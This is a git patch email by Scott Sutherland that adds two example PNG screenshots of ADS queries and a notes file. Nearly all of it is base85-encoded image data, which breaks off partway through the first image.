From f086d74eb7821a01d2e8cc8ed601de52bfc9d721 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Mon, 14 May 2018 12:28:00 -0500 Subject: [PATCH 01/27] Added example images Added example images: - ADS query adhoc - ADS query linkedserver --- images/ADS_Query_AdHoc.png | Bin 0 -> 100091 bytes images/ADS_Query_LinkServer.png | Bin 0 -> 82665 bytes images/affintiy plus ipen notes.txt | 25 +++++++++++++++++++++++++ 3 files changed, 25 insertions(+) create mode 100644 images/ADS_Query_AdHoc.png create mode 100644 images/ADS_Query_LinkServer.png create mode 100644 images/affintiy plus ipen notes.txt diff --git a/images/ADS_Query_AdHoc.png b/images/ADS_Query_AdHoc.png new file mode 100644 index 0000000000000000000000000000000000000000..ac60cc9cf0f35386db5dac74f3e94ae3736a7d48 GIT binary patch literal 100091 zcmd421#BF_)97i2m||u-W@ct)X13RiF*C*xGsMggGcz+YGc&}vW`=X}|GszcNvD$z zq&ulsyE8kZp6RaYs`^!Rn4-J{!WWz`ARr(JQj(&|ARrKDARu5AFkqi&@|TseKfgeo zlqG~gDkt%dKMx?xh2(@lKx$&(UJW5Xk74a4wVXge5c~dqK!@y#O+Y|C3Zz7ZRNeK@ z-jM3`#ZtH7fS75Eh@y%x)Ry15q0sXA!pmNU)ztA+9ScIX!#5bs(;VnsMN*Kyk|J_e z|0?jV#z}*TtPcLe+Oh@DXKo}@8JyG^rhDc+Y)6SD((!QpO&Om1U+u;}aQx$c9ECF5&D1KrIg^&*UM@&)o$9y!ozX? ze4~-Jb%bC|__|tn)a7^=VqoiQps4G7KKJ?OlO2$6^p)Qks-nZ1T;T0>(s2I6GMV@O zlDv7IH$jkW1n)eBw#G?(Ts~|4J$VY)eq6c5)J5~J-^kFPmi?PAJ6+Ff+3(NGZm%oe zbx=(i&mSJw0|hi6x1&ETUe~X#)(E)lAD6pYrCfAPvubj94yWDScc;2qjx@&94LGWT~9`oKi@1tY5KH+ckNZPhb=z4^SWPToFSUe@8gh#{er#gE2E)-{h7=JL-*}G z9ih+CN6XghVp;=|@A-IBd;cpKZ`)0sG2!D{(S#kgqKEHw6CvMmo&a0+I81HpJ+Sj| z{M7EL<%upZo}$UX`7n;cs?+6=4)^`VvdUdZb@=n8U2jH0&aJd$SjH{jq?m6QzSDS5 z_UZwE=1aO)J%lMS;xKFz*T*f2UbR4y65j-ZG!VC1?1X(ylg>W|@q{0MXD+_geb@0V z#xCqEyo0a(NO4XPw>eB;#gbFwzosXpg0Lc0LH^F4>C7w}O55xAt=qU$K?e{1YJfl4 z9${ypjy|^j_o8_tBto7Spms|=u=zoT1uv4Ut8KnCxw8GDYO#W~Yya}HAJexPV9bx? zeR46xid9w*{XDbff@nqO(Ps&~Gzzp<@Y9=?a=7cED}aRSwz$ccCAe5-itzzvGb}@b zQB}T-3(y||%4+}*uW#u?lWkYA;D;*zWG7gz68U9+%lEdr=4SkAC*oPtM?b2yC1pFogmSj4Snpo+$I(ZQ+1V5$LO=kC6rIqvDW&gQ!p!^+Dtsw*$od0e`N z;re*nWXIN{*yvlr5>udmM4R7e{6R1SFLn9)HXbjEj|w1Yh%M@StyDNdu7kc0n?qam zLc9L9ORDIQjkD_2QcY0jFPIvWSVVz*2J#C^GF}&XK5s}X$SOPac~@4WM|2lp$Pyvw zIsI(HKQ+f@&m^wNFGL%N)95q|dxBX0I1}JE_a!CB;(W`iU>S|%bGqKws)B^WxLXqRAN-jk(V%V-j2;Oob{WTFfX(jUtTnG2$T%N& zh4gV$zu<5SP2j~jdgGi!jP>U7l+OM|teOieqO=0Wf@1e_*L69eq_*Q-B%QMXiSTtx z;PL1+UuJOXy{Q8C&F>{f;RQXhR+d?k7hkhLa(^ltI=+^R0N0sK*EZfls0WaF^x?57; zSdz-ek26iGj&mMzXFt~`I=>AyQ?cLh)oPZ4$BAsPi>mgBv)`Jg#ZMJ@AtZh;8q2Ga zMiWUG? zATKfqVcG%PAGprXDF|H@Yy2K2k`XOCRultjFyA&|0c(mz=?F|cS0w@;A9CraKO!p0 zaHk?XmCh(VPK~!bi7Qk0Ii1i98^2@rPa)yHjL8YGP;fFkuYW6@5_&Y=y5%>>He2h9 z@QPnRb~p<+_5~Fq7TH~X=)9p*5c#gC2{e_+96^FH3+|Zd2NwVrssxNYK3eOaP{$Jr zRLf3J@1ClnL)GM>1f72B_oY)ow*iNPzgsM04-vEc2`(gzw&=d%x5nkyqG~_^$w)BG zSlQJR!0Q#$@(7RLbyuo6VM*XS%&%oMUs<+zJ|y0!IRmZJZ{rw_vZfDuOYn^-OkDf^3C0YH@!Sp32sa~-dMo2hqLebkvI{{<)(402xDbLMZMp+u(F)6QCnRWtg)HwE4GHSsA3uXkUyk~!epncttR zLrjR~=A>{DzaxX64u`T}EGR8*)=A?O#dZli{O_&Z`5u3EirPq@c#y;_za{d2BLdjK zuKD;#u7=drAn=S4GXnk;xee}3X%C1WXHcjtFWj80SbiB&gA&7xu;i~#1+}n_b#pj6pla}Cdbc0Kz1|ssL_QgJrw4X;F`j0!$KdaFi zZ{7c#Myyrse;{(7uLm*4)e1hy9wHt*YgsPM>c5>T<8QywlAK^=eE#VC@fmNN*&|zY6bgnZa2CY8o;w!%2{!Ue3KZ+#7AlWb zG~!QnEV~PLoidT=E$^b3X*XX>3jn8YuO%UYIE?BAXoFc$(%6l z5l&$@1K$iaUC&bn2@YRjcqG#TQH}ImL5z3W#hWhu-gzrwKZ<~rK4`wkJL+1}o&Gx(VAqB52sjkCR;^$jFDZ&=!uUj`cr$<5~A zw*|<87)XdV7njZ4&c81H$HkkCrH|E=4vNULH`FJdxV>^L(fX!wyzY2Hh^3N*Hgw3R zDn7p5qiKVjPHauLfK08g>F@eMSBI}uaJ`Yg2jw*`8ZmvymO^K9;~QmXA$ZUR>bF*8 zE2E~skL&~0`vWxVwaC1+-vydDJZ)4}xrQ_AZ|Q$Z+N@LfV3giEUuG(R z%YnUx_cW&ZKAdomU?|;E@4sfREykIKFjfhFQalQw_iNUVTbO~AoM$-_sWHRcuTb%? z5)DXJisM>@-@W@H+Njedmj=E)XyxJ7=IxBpo3bol!I2Ozh?e2`DW7#;Mpvm?Qjm3n+w?V=5Fr8RC1Er) zt6pYa={`?ybk=O%e4OIwUmUhQfri(IhTN`e5p_D-7k%p#<`3<`=SK`O96>jiWZo8S z8Rr6y`J?GuBd^iT8fln2%`cTU!XEdZ8wmNuWAeuA`&b%aM?5CKDho0aYXVgD-Joo_ zT9JXqTQ5g_b;hPYR$F;?0M_g^AMyV@@jNpV?&1;C@6boV{s(gxiPcf_G?}lykjw@i zd-1kw-`q5aX{6G(2F(yr@jVudJg$NI11IDk+Uq@2R>_CAx9qUlx>O_ zj;ctcdc_Uf+rmY-W$K+fDj0o4|L1*7vBYURI27DFCtQ=i^PQRvd@IoU^8Kt{=KZ}= z5Ze*E2wUDwo%_I+d(gW8($c0g{NdR|WGUo>sYf^Y>WqI5qwZq02Zf_^r z?-enH?|tyM+0C+GdOxMEJ6s-BQi>4;7$&CP%blw)gtu6TB!R6ex7HAXn)#&eUEbAa z#PN_If0kaZ3;rIwOc}IbmzK(sGabHfX#8am{>*4wGR>S}Mb1Kny9stk%qOV%VUxly zyl`pFwVC`dGiW=+mL^K)4s0~8yWsJ~?c*Ry?;&*ek6VIRoMT4Mxn$D4x3!)czi_Rw zIKXM{@_Jw6y)3LYjffsurNiv{`5HCh=n{fGmJZA17i$)y~hj zs-onHApO8^C+-vbAJGl_XE#``s$_O2Yik#39S0pjmlOuFkU4-LW6YrrRMsg>A>klw z*8s>(%6ejtlnM8L3!hoqZ!x2Z6MnC08t9^;_fx;Tv#WF2Ks~DL{Z#4jCW6+uGQ|BmP4zm)kwl7Zu z^{2})(4Y3sayvR^OT2+D4fq5XeGWicP4qfs#QouO@246(DLI5dvM-)}Pj4!xqJ3$G zK5Z{z!%5G1kI6&0GGM)M$a(v%GRb`aSjW@l{gV}PqLNE!u3npOtgw^f*M(S)yPO9V zJ8rLDXGZE(cM*RrNxA)vc`L`JU05WtUYYy&Ii5nnU(8s4^`m{SgA7k+&F$k=?taHze z{6J|jCf5H?g{2{MO%c~tI7{NrHq>2sQJMMQNY~T?zAyCdq18U0!*4WTQEe0ss_Nm7 zu=MeMlacHCEK7hepQ||u-1_c#(BVeF^6TOHwta!cCDB+e)mBYu@;W?+6AF; z4<=FLc*&q>XMbH+oe-1}J|;ob)_IS85U)N4jnxkVLR66>PKQ2+?-V|i1tLWxyA2}k zk1bYO

9AiiLSR)iG^N`H>hXfl3=RzO3zfR)NJoREHwFxnpoJ=M+u1;Ptsg0>jP{ z>(#pqt5+RQB(8KUBqP2)fZr!dT8@h9N}RZUEAu;smAaHqV}+GK2kqT+fhfPc)F&5O z735gOPA0Hojysw(f|aw6(h#%9Cjw8I&rC^46Z*cE)T~SG4uCpYdr%| zCa=E%J|UV&{=4SCD9F_RO$ri-Q}aIn$!NP!l;*zy``6!Qj(GWhBbabz zJH`Jupv(VnyVFb&KTB=0aW^|E)bo3nzGf*o0_bW91YdmXn znB=*+FCP8gV+s!USSb{2KV*()+V=LE_#C${Yy4d1fGJ1`sXsD33wKI0VfKv}ix#wX z_dD&-K)#WIe@@U%l)l};%HhzL%GB4}L<#~UUx%}&7mn;2ho+~WKOF7@j18=OK?{p) zpZ>JHPrV&BEq0fCAL{5E`GRI`Jgw9qy`IkWc)+zNe7kwFLzBF+$?OlJ`Qt%qEOWA^FJDQ@I{Vo*qI$MRbELaCGuquR3 zCl+w!%mG>nlF*p0pwHj&lEzZib#Qc8_fxc%`;eQ0biSYk<1Gv$#8XUn-!VM=4F%@McH27__m}f-m(W}cs%O207J{B?O zg1EN8Ib|j{VTh1#l}_{9!8bCC-jkIjGUw(tu>6~<5`oT#1O9qVX~ir}9*=(BFR2E?GGuKdVqI=v7B1Ougd%kS^a8Sws?SK? zBhKS9NDBeS`ID2L-&5^;;NsU{Tkr%4LUP1FQGi{2cGmSJm|XERyM>G~2{7nUJ9e3< zk`KYC{cKqC88ID+(TY&BdakZ1@So&RbX^-r74Ump=h+P!1s?LbZW`KqKTAFC)&TXg z3HlgXUE|BYjDcsjzSI-~YH?NY^Y4ihv z_`2VBMWr8)v&8ru^msMtv4qw@v;F$=D`4bV-inQr|MfD<;CJ!saiYFhrt8Q=S#?J@ z_1>JVH^gYm+1ZD3II2!0Aew;ZzQoJ#+4{y3fsL7QtA`8jL*QNxSO&BW&!vTTjMC%? z_RKqH`go?rNl<9pUtj8rY(~dhA6q zKvM~r`b3b8#unrlXl6e8HBv~`B|@<+7KA4#j&ysX)>AeujwEGDi~NtknbEt^aSBNU zhWPCjsbpy@yULwMm~0q3YwOmjIct)6g!kL!ATUGGuQ|E66UrTp3g2 za6N(%nT1h7(-QG*IsPk{W58aw4I&kjmFHwF>eiFngpbC#-Nmo?E)F^wIELYuAzErgLJnvULia(522wy{r zlVj!X8a{;m$se5kjEp7RykB|SS8ErR1{UPO-`_Xf{2=Wxoi@zh9j2<{3{2#+cuyM` z4IoBA&^P^>t;s*!>K!}292HsHc~^Gqo=;QGsWf>HZ@@+OCxj2rUBVc*zu)#_UdiF# zBp5YS;oZ#!*1N{|z zOrX{0$6~lvGF>O0x}e#46J9gfE8RExGu;~w>{cykZd$|OcH1=OzJaq$Dw@fHPiP7F z*cd1Z5N)1AWxzNV7L6CFpcT-3Qo#M%pF&TGcA7@~p!WhVF;l68VIdUqAI0O@mi;OE zoJ3(l*y1OPT9i>en$t?}wpe}PGyZ82QC8Mp@hj}75hGT`9iA6UYsc+-@i`?Hu|86} z;U`LUaxh49iHp6*$o~Q{zu|XZi%uROBO;ieSwLFCOyYsv+Kif>zVBVI`K#-(D-|o$ zu3~$J+>NPVk`>x=CoMYdN!S$s)uo>sH^$^j&s^AY?2we-4cmRM>UHJRon}v@}v%K-yRM$ga_Iqi9tZ}=~MiYOmdG`Ab%b~=sze30RIHky4OA!!38MGD$DKx8(qN^dUb*Iy+%=&SOL%k}RDI+&_ zO#t-$D~oKSjE3)iV>EeC;5?cl`TJppzd2PdI~H8{fW-2s=Nbnz3?_)~nbB0!A{(8k zkg;rQabU@YxZ|=Lu4l4O)pwGKC}Bji=AYx3Y*dAv0?j0Yg47EEEOt-v54o;7{Fpq) zrn7gm8lCUMKG}LA@7D!1Q$9m7U5H1<7E9SJfumAE%;gbj(a-HaOzjB$2H+MIvfEV= z)jd1xSqc1Fj?E7tzDYpQ3YAdrB8ha9(g#nCL5ZXaLC<|;_hy_gaCuP1Jzwk?Q)EGS zqDWB3F%=ikY0%7S3`aJ7s||+qZYvkXD`>|BL&3t&dVW9{M%f%m8tDt5vUnX z#G1-rIVNDn3_j#_wMW=~!OxfTy}6jc2Z3gX@pS2F|5f+m>o8G12$@6Q?T;{P=4ejC zylrN7{-`Q!O+|62T*kd3w+{w>&`*aaJ5Q&FM%GQG`tc})(D!*so%y@qc+;Y*K!~2p znSotp%cGlbV+_>Oi79?zX`Z)IywU2Y_As^bxaC+3;s*MUk+`pP=;TjbPiitdURf(5 zm)jq;d6TzZtkJyF$CYIdv`bLNguW1Ejw6rRKE+5~LeRMa);+C3ZrSNnW=3Op zx550f-#vaDJPx_o89r*81r`=3f|IuiY}(Y}%#?bO%hs}kRk+`yrm%dJc%Y?b8O_xG zxRv*tUMz@NoCekahO*A)9caBdRFc@j$j#{lGVPV(!8!pfxeTND_5A>T|PmIk2Gs z_br+JW_K_!9D<4&7`gjx6}-Cf>NA6sTkf>?oAcJ~T`j*nF9{Gud19o51i3a|xP;Te zRSasLnPdPF7=`vzlP&f)wW86eHt`F@=w2M%`FSw$CiwQ!57_zqaMC^D2ipl8T%Q0z zY{0du@wCVeHLopN66pL$zdWzo`gK*N>U0__@@&3;vCg&y<|;bvr`)JU){uLeCF$i$ z*pU>oZ*WJ$)`3#RtAD)**4JS;hLeK$B;V7cfG+I%hja%cnf^fW93%CMo>$wB0VL4e zD)@d>e5#jqegI2~a@%%cl+};yf{h$2@RWViN-1Kp-U5!1U{_reS5=hVgiD-$SgPR9 z+``?3+S)WAc!pjYAsnH|P~fQvR~nAxVAZ~!py%2YV1_*#DP``s#Mn!&fhoZS#=a&D z*qFd)iw^#p=jge&RP)(xtu`OgqQ9;a%U;`D5YLP zW|$u&7EfrJUf+}q(1*tyOYN(=X_=!`hbzCKfp$`^Mq^njVFKyAY2#UZJ}8wh(LFZ- zU={R6l7Hym!?3nnsGu^7@gl^qg#o_)2pseea)_IK5)SGC)I#YZq>ysQHdqK->5E|} zrnyAt10x@vs(bAa)uom71GNL>&+#*pz=z3Pnb^}4PQ1xmD|A0-s|ku%qdGM^SfW|H z?86J*_}%EAG(6N%(LgDX)R8;f#^mHu+VHGO79^UgVFGPM8^4LHLN zsEZXn`>H;OeQ}wjk8W_vo*KyDxo&zK=5v#rB#X=~#xE%@C zoXVm_3FYYaK28m2$~Pq_Wm;B`m_*nhM)R`_I9Hp!QO&;3oKts7E$dtTf*en!5;l`l zu2Q6NC-rVmo*%R~9GzqGBow8v@Ie}GWd>9^+b|JK^gVo<5C;f47nsfIbB;9K1}h1R zycv$Ou#`^msj|KRpTqotUF*rdyAyuImGJZ6LbgO62NIC|D#j)fIb2#j zR=V30x$P^H`WS~6N&?bx5ucN<9i(giff!x^toa1>JE;7mA<+!pSlPtdzD@5LwRc=VQ`&<@-urc#} zuB*@^q9whhS#2n@(BBg&^K8;?BE-d6F_IvSfz@PQp2}#Zx1R&VIo7JL$HBM!lparm z(-`_Sg^VK%{Ruo4IZ|x7D-?%-&&H-eqgSdfYi%kmTHTQPD#_Jd;uflfyc~xpX0(KL zhO&K^G8S<(m9gS*_)Da~>?5sd_e7j#);tW`BBTTmKG|Xta$Q(AD_uzDmwq78h#-dR zN^J-C!bZrD>r44+eoYgt6gPZ9`RkFc&Zzu4}su$?iX`vIDvrg~{{l`)HzV3ex9WJ=#7D)2LMgKU%cG% zhJ7ha9$Ib5%C;G+GwgaIISaS>l%p2MXkimQvj&v&@sq$Ba#{aFnklF6 zcaEp`UOF2zhEb*aRlFGv0pd*Qc;c&BHM}9e`mND0lM5}_PrlxKu@0|LrQg(OVHdIv z#oCg_vOLn3E~j+eULV&7Z*sS!9~Mkw{y1rzE|7~HZZp}*-%{pL*qSV7E}ailDlps2 zpZ`5k$e;Oo<@BZAY(-juPPo$lUR};azOm4%876eyqpzEGcVeQF!xFL~1*XU!VPM&e z1(zQoYr#M#pRULk4WX`-W4hUA>3z#>Iwx6skV+l>3xmno)xNDV#|j&yF`w)vkMSs~ z&kS0L3$b&M-p)GyA89|>K4vW5k%wiTs-6{{OCMqIrcR$drRxfp_H*58MD}jyR(n!- zy*>};SbtE-XJ(7sDjL@Z?0EBEXv(M79pR+p=ANTCbm(H(8HQLj2@6zsBW8rFjaeEz zVur$1lGxnmaa~=XYtMS?bfgIu;-I()QF_&W{oYKwadUU)4nl-pi{P-0J<7|EsrCcZ zwftx1>XlzJl;ZJl`V@W9JApWE+O`lnA=HbV353;2aYdD>9nd}9-}f#L&qa9kRywZ) z(B-l57D+x!DLjjA^ZRi{^oh|&mygIQOaS5z(J2By4@0%LJd*Qccux|wAf7@FO$Rzb zum(2V%vLaOy*wGk_e5aL?<`tz;z-S0BZrJ)+EY zjF;no*@Y8beB$~;)I#+2UnpeWl|GjrC(Q}S6TFeHq`SP2xp1jQ--E%-duLdQmV#5H ztE1}@ZqV{0HqspPHatHKT?t2-td0Fa3($SQu3zfi6)F8XQ>w72Kb@{A@I;gokLrUg zE&1urk$q$E{*yxllILVbX=8+$nWySnu?JV&5U{IQYp(Vj;TPpS6zQE(fPy>rku*5CWYt1%U3mB+uRsKwqst!v*{pqYku1lu}Hap_&qUn;Y$n3<225~d_EuQ z!Gm2X$~@)!)Zkdh*+xNH=(0c|c@(Q;V@)iLf_{)S2_AfW7MVFN?vS`$=l8&74mFab z7IPS$Kut%SR$dD=N}hw7#M=Xz^FqJ~SxE5=+vIXEM>Hb`+6jzM;;SpAre=R<)Uuhe zN{vc)(ymn{8ESB>6**vK%DxfKeW#Q10MF%5!Dta=j!H$2wUN7t7?Lb)Doq-_H=RMB z!u8W6+ZpMhcBt*pQ~Sx{&BkxeeRem3L?ew3BU=`y5m0e|4Xq5$qyOwUx}&%;!!`jCTW!IM>RZP0x&o|s($Z@;je?p63gj3z zUD-iDdZ)H?Us0JYn%CU^OCU zODLsj;zayp>=TvhC%-@iRF(}`LSL*vY(oJd%F|HnVy2V5t zf78mcgoU>*b$S(&q(&(hQfVt|t5R&Y><+u8-W>m6>Tp5ro_ksdono6ct#ZEC??t%X)Wj3uOoR&ao(S|qzH=P`FX9eOH1<_rQ#C2H@AUgfD#^2EN zK*)qBzhe!d5=)%NEuJ5K`L+|wt8tGugYTUac(YcGO>l+Mr%J$CN_xTzLsl>;#eTKj zFAN5t^KcAs#9bgwk{E`?;3>!WJ$4wYl22;ZJ@htWviKwHM3wHUn`xbai}K;1EDj1Z zutw&!gS47vgovJLawyPy7RQD-D;)%7dx!Tkqw`4XP(E%3&vw4F@ufJPXIl&Lvqozq zsf{KN8nY1Y)Eq?^gX^7_+6W>A9U&$ADB6S57 zqURI9DucCSRjzsY#O5P~*eR_?1ZY z@1xT`uccLP@1GH~9*xtv>An|2{njBX&u03W4oTQyjC9`hfUuoa_tenEi$#=K%Q6m{xQ?C@?RiwvZ!30*IK6#EG_P0Bae&UG#xuP&t z3?uA+DmP^LKPfl-B;TW8rhA!hK--J0d#jtWTuPRaXWSZaUpJMS3)4f?|70qNev6kg zbEN+9!(|2Ve?#!s{2ZvIi9d~4fTzx--7#+)HkbhygSQh6`Pxlfp1~S}W*`{I6 zIkK6LV1L@b&%8*g089jvNgqdqA60k(&CAkYPt?_JeqRJ15A>|@Ao;VOTk2Cw9NAlp zH+f{`4-7VJD^lmlqfK*PW5KWlSGEjS5phZL{>V&YU%_G=pYB}uTSrSqS^+Ze)@G<5 zrf*)oq3XKe=Id!nJ4^t??@8pSk^@Q4GGW2#)UJFH9~2^ar(2PSi~D-FWA0ZqO*wLq zgHsMi+YU$Zk5||lMQe!jDwdO4>^7E&g8{!^HinHLMsCIEZPDCcOXNM`6j#?sBCaBF zgJT_A%DXlgW=()z(ADVV{1*I|T5Y+U?sh-{#O=Z!97#w?y|R{I9exa6eAPp06uoNp zr+T0uSMnVPmqRTEZPuj+UI0!>tbZyrS*eJhlDO#Rr;GnLch#P|7|P~ZUELPCQ1&cA zpnA4$<7?{uwt#m8sebXk(c$nyk+)qLdAohQIdPP%Aqa^nk6R>wj5|f*Wb`@hm&%Z@p-SG8{YB^Xgd`a@ttPUr+Zhp zu+f4Er~S9MDT`%!gZoE*vx)1wvvA{Yk z$o{7^CupBOnjm7#=j$C+DHWNvV7d#F zu#?7|gpT=x-pgrN>_DCdwf8M9R6q<~ADnAHGHLxbxA?W)7Xd5RTs9$`*8C&GgfE4< zf*3VA1$c-EGZ3(nfHEu-<>z-MN4ff5eZMpE~gh_aWkE46g`M)8nhjzmJ7=H?63C~?< z1S4$ciCScik6BKwM~%P^25|CS2Ry}s8jou!)+iyAb0y0bCg^R9!wuXs`Wa3@f}5Mg zwa_!_(K53=g#|&E;>UMXJ-Yhx`QAliN(8|2Y`n~ZAA$$v-TtmfmkEX+$7|g35A$_Q z;f2?0W(AIX`6Apf_bTqn+9bZJjlt2Znr!bCXjB-dSZ#h(6R@S_npwMCU6G0fj>M zvQ`+3AOZzGRlFIft5o^pn_v%0NktVu{0F)jFUOy;BuImGPpOYTJ{=EBG~P&nZPa>Q8tEjr#%0{!_<9Ip>r#E~?RIcPu5_K2|CTejKfGOHVPqsN)W4Ff5HgCh3q*CF^_{yE^ zua}C{gi5u3Qjvd-CfYBEI4c`>c zpC8iuYFXC+=x~V%wrC<+e9|szl)n{lxA{e@C-I#zNe;6PW)bHEK|cm`*`6#-3eU~a z%*uRVHFU@<-U&-1bS&QSNwkN2r@>BPsm5l|;9f?H z><%8$sZ!c`us zpipIiGAn{IbFIh2V5FA<8nPm9n-Iy~a?$?VI>SuL9I4rDFdCY5Sc&MEM;Tx8tC2!v z{r2ph*hq{b)@gvsYDSwU7=cmUp!K^otL!HpIyTe-WvX{wt}WdZ38m9-q+5~SGX;dn zYT(L-#v9)ldc`<>^ka~;dm=PcTA?l(m`)IVGaPXe6sL{Z|072%#2vr-S(WR>C%Hd9 z;yPoK@nd2q;X({dvc`-|?F=CvwhAEHBj3seBk;4$cs;#llk8VLH_4WE_3={fb?LT+ z8ao5(SGeCt_`KW;46EfQ>0x9OeR;ZHPw_MB3ZYHZt-6t8lInimKFuQYxMn^~Yt}U& z${9~AdSU%5eIoj0-p|eVSX##9t62#+gG%|LGs23nHJD01@7Y3HGiawyEJkI;Z}$BN z?*~i0lS=J(#tMSElq7%%Q{#&4CZI^wUa0-48oa)8>W3C&xau_m>n64J`d+IMc2PA1 zC(W$bi7e?H52s0#xSm*0H4~N&ifzXjLB?Z51_$RfL08a-GZx77m=aZ$=Usu^j_(w- z1#sP8g>^|Uv;ko@(fx|bjs&eT5TUxPHjvCa)0+n01TbG6SztYAbf1CBkXBo!tTT}7 zG+a|w794@h)W`O#pO9{D`8q*!My}I+MTt%KF{Pt$*UexdV3C%G)!Oxt#5##DQt$rx zZ?#Z@he#Ik>Fsvi@JX=&TEc({(D9lk+d(9-FQqPd>?;i})^Gp)Mr22+$w%TKiv`p! zK;!0gMNj*JJyxprnXZC~%A6PGet@j@3v@FldM6hnHI%tVT6a!^*V~DnkJtyhwyRo~ zJ`EJ1?&JG;nMxV!q-Wh|c`ZNWjlkZ#dXX}Z42U-BlD8)hmYaWIjj&5rw}wxss(x{? zTD=s?nyS=TkQ=*ITjbZuSBv^a1UHIOdE(*x$?E#>yX6wfk3d^$`4o;eaUjnQed7(B z3p;63C$O8Dr=c(|!yLsH|IgkACdR67h*qXjatjc39`j7|BnF@h{>@Quk$P!2UqgIS z&jaLCgPTOVx#nthc)GR))`;Ra#<&dvYfMs&9zvh+Z8Tmtg04}hzK@tg9lF`xr5<(% zgL!WA+G53(PJvOWjvbXij}|Sjf5$I=%KF`7PAV!$bx5hl^{Kpn<4f+@k!YSyc}vnDd~-Dqp}t1m5ymby`IT1HNFUv4OVsOM_Zo9C5!>eqyFyh zt60}QqT7VKh-x=%y27b?_`&5R!R zq70)3Q0?DEivoxQ-SCTg02tBUFg>k#OV{0ea`kea_OTX{u*?0+XJ#wy4K=^Tx129G zD`5tY-oDt?_U@$htOb@piL!-9gFHyr51aPrehZNX%c^v+|BrIYyOOG>0y#N8^Np_l zf<(#Ru+~8T@s0o9t;h_r602$2xkrp*d|MjaI8z5Hj2C(SBZ7o353@rYZtYXW|21rE ztA2WN&M5?^WvF#hOa4HejrRJk3+dFIb&PfVWR$1iTD7>p(Zb*6VZmMV-@iW#`lcoS zFO>ITP~rmnF#_4^u|w3%bzucXG#a6mkM5w z&#mmjB%~4y3L`&q%b$#{7-XJN30b@T4NC2|;*Cr!v>M4!{UJF$yKFMH zAY1`_;K66WF3kYUWCdz)q1z|+6~eeAs;NiazVF` zju0*jk=hA8j9xR{d(|x`W9&ISgHsC*Lm`Lbid~rme3VvXPw>cQ4ZVxdc~fm{0x8(t zB0&GE*xu6lG~l1W(=u8`Y34!0wMA%ll=|%p4NOiPY78zJOgQKR4lcGfaGU&?zg&z; zB4u4{c>8)ls@m_=J3OP-T=6nf+~3P1F&y9$LIBzSQB_2*nKhCV8ZNxrOU{S7czVV#eb{_3>fVvQGMuP7ulFB8;|JH zf2D2=VOehe@|}04*_+MZz{Zx-z_F3n-$2V#_G(B8GQhU=qhz;AN_Bm%qM`E%LF1m_ zk*l=G4>>V|j+hd6OP*QH=E?9UW-vCxVkgFj8x%UBJCB5kYM+18={9QWpDysTCdJ-~ z1taGET3Yt8`?z;6c@{q~*Rvi!RJ}+(#kRm7iD(qu0lx|jY%m&4-^PL(>v>NURbLiV@Tj%>5Vv}+$%Hm UFF@X!hKbLq3`?ULVq{w z95UUB+bFGH(bakr^I@^gbad!IORnuvYLS$OCUdfEmnuU->!nWcB0H^p*zBZ+%@{<&s*q9>hnwA|JIF_jM@W>A>4&$9T@m@Um1$VD}s=x&d}w1AiOXm~|q*Svk}?^oT)O~4V}(edCF zR%OpqZ=Ba`ZOn*qP8b^-TS`{F{wn*$B7yVMdOYJYFf||qp5Jk#m8WvsX|pYf8GUU7 z$C2X2*DakXtrAa=1|e^iL_1NpVOJa|D7_Ao?_giS__RKw!UZFt8;yBQ42yvj&s9A6 z%N`#9sGab4WI4Bxk_Yb;D!xR_8~L8Wh}jgm!WXL!5dw~tZT|6?Ri(bdH zM^ZHsO>19>yP>JQF13=n@k*b4El#p)DIHFEMAxMu5r#m^36Y4owLkPR@f3iwa#x%w zDGBmhSXU_+7xnzc&S%C~jg+hP90nZ>ZwDHS@E0(2b|D`|*V1L^CB0b#H`9XP3G7Iu zO?qJO6!H0qXVxD+k&Y7COnd^HSLkIl+gK_8%6Lik)!qqJq;zch!D#!cm~ry=mf`pxV=z-HugC(2{XdEqARBezm-bWBMZW6x1DPlV4QkW=0M89Z5K-&7LQ zO0!fHN;Jg=1#>NoK3S`OKNEb$M9)KGPloKUlkDwki@qxU5ADB+${UH4J?Tj?pf;j{ zkfozPf{qDyrZwq3TO)GBLH;6riEdkjPd?az$Fevtruubf+}u2CMRH~tLchrOMI|M! z>1E))u822s6`8!f;gEoqLZZ=wsJK`>606&~huXDwJ@veAacGwJ9%4Y*PBtZUVLX6G<9@gzZJHcV z?tq)Hc47`1cI&u)S3l(n)IQtL)3G0++7Flv?Bmy=_Rh6%%zs59mS zd7xGC<=NXLdwi>3cMnGc>}tBl498W>5GivIK@G9XtiI@&IezMW+;Oo!@5$t+Pz0?} z#h!FyYaV@jN*zW95R384=bW(P@Q5l(;3yOYylOBQ;d(1Lt<#T7w&?|XSZM@$Xt^T5 zI)=nFs3+;jw0t-OpD;9Rj5zRn%L_n-O-{Oh2`5B>^9hCzM%47;E|*r{Sr#cl79hsV zU=&y8UN_^{)DV2@Vw*`rW=MfH9tJo>hMIGb`oQ)s?NcsVk-vqF`annu&l)}>Ihs>e zWXB)_<6-}1{(=$VmdApM4()F}?H_r*{cBay1+7garORYPk%)n+(1a4y&cBcfT4@BX z<^k#|jx6P~aqIem@q^0i_BYB(2!buhZz`BaXCB08)MHNHDnGVXMK#(#TckBoE0);a zott94JvL9o=yrp=$O&l>%+Da2p%^ltPTm?oE!t-9H?;(*%!p^>*hXuK*#OT2>Fbv* z)e3d_+q%Z%{zU!AZ}y$K=#blge$#L%`h+QU7df$%>x7?B^N*`9{Qel55}wz~#R-&o)YY+xJQqJSo;M)Vq_fC;qd zf_+o$?LK;baO$gP)o&5UH*pYZtu&88xuCdCeDbbM5Dpthsh zby!cWv-m@(IZM{6gBUn^cM<|8U{~WeY=WXrABhv+jgsmX?i}h6ThAr67QsG&gA}$M zWRc;wX+;4jY`+R(#|iwdH=NVFF~!&5`-XG8;cig{HU&E%k~*JL5yoqoK=VLKn?9Oh zXH#Beu3v0sFxO8mX+vV`C>ug@DmY!1*#Gcp@Rl9vp%K;qmFlF_Af>Xsg2zqf9K+(; z?Xw*M6+DjJuE-p0iiPi$3;a5IiI#pcc)|{KjpKL_v8j3=XU^Y$RkySrjMHC_4!h0$ zw&RTk;v!T$o~`y^2YOW0z$Zkq{Hmjqen@OcAKvu5yfv}0wp59=}ot5#)rN^;rgBx?va_VA5;pSC{-Wc0#v}r}!vi*bL88@w=~Gw-)M>>C7QX!nI_n zsm2uhvscTfPsPhbdIGCCgZk$yw2dISBIVLlR$ElH^{{5p@X3pJx1&{2VERI?c@>p$ 